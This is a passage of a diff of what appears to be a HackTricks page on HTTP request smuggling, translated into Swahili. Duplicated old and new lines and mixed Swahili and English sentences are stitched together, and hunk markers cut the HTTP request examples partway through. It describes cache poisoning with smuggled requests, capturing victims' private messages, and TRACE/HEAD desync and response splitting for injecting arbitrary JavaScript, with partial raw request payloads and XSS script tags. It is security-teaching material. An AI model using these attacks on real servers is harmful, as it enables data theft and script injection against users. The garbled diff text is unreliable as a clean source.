Hapa kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
Hapa chini kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -498,11 +524,11 @@ Mshambuliaji anaunda ombi lililofichwa ambalo linapata maudhui nyeti ya mtumiaji
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Ikiwa ombi hili lililofichwa linachafua kipengee cha cache kilichokusudiwa kwa maudhui ya statiki (mfano, `/someimage.png`), data nyeti za mwathirika kutoka `/private/messages` zinaweza kuhifadhiwa chini ya kipengee cha cache cha maudhui ya statiki. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa.
Ikiwa ombi hili lililosafirishwa linachafua kipengee cha cache kilichokusudiwa kwa maudhui ya statiki (mfano, `/someimage.png`), data nyeti za mwathirika kutoka `/private/messages` zinaweza kuhifadhiwa chini ya kipengee cha cache cha maudhui ya statiki. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa.
### Kutumia TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarejesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarudisha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
```
TRACE / HTTP/1.1
Host: example.com
@ -519,17 +545,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Mfano wa jinsi ya kutumia tabia hii ungekuwa **kuficha kwanza ombi la HEAD**. Ombi hili litajibiwa kwa **vichwa** vya ombi la GET (**`Content-Type`** miongoni mwao). Na kuficha **moja kwa moja baada ya HEAD ombi la TRACE**, ambalo litakuwa **linarejelea data iliyotumwa**.\
Kwa kuwa jibu la HEAD litakuwa na kichwa cha `Content-Length`, **jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuonyesha data isiyo na mipaka** katika jibu. \
Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linaweza **kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usio na mipaka**.
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent data**.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### Kutumia TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Endelea kufuata [**hii chapisho**](https://portswigger.net/research/trace-desync-attack) inapendekezwa njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
Hivyo, wazo jipya lingekuwa kwamba, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache).
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
Mfano:
Example:
```
GET / HTTP/1.1
Host: example.com
@ -569,7 +595,7 @@ Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### Kuandaa HTTP Request Smuggling na HTTP Response Desynchronisation
### Kuandaa HTTP Request Smuggling kwa HTTP Response Desynchronisation
Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za kutumia:
@ -591,7 +617,7 @@ Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Turbo intruder scripts
## Skripti za Turbo intruder
### CL.TE
@ -685,7 +711,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Chombo hiki ni Fuzzer ya HTTP inayotumia sarufi ambayo ni muhimu katika kutafuta tofauti za ajabu za kuhamasisha maombi.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Chombo hiki ni Fuzzer ya HTTP inayotumia sarufi ambayo ni muhimu kutafuta tofauti za ajabu za kuhamasisha maombi.
## References
@ -697,10 +723,11 @@ table.add(req)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>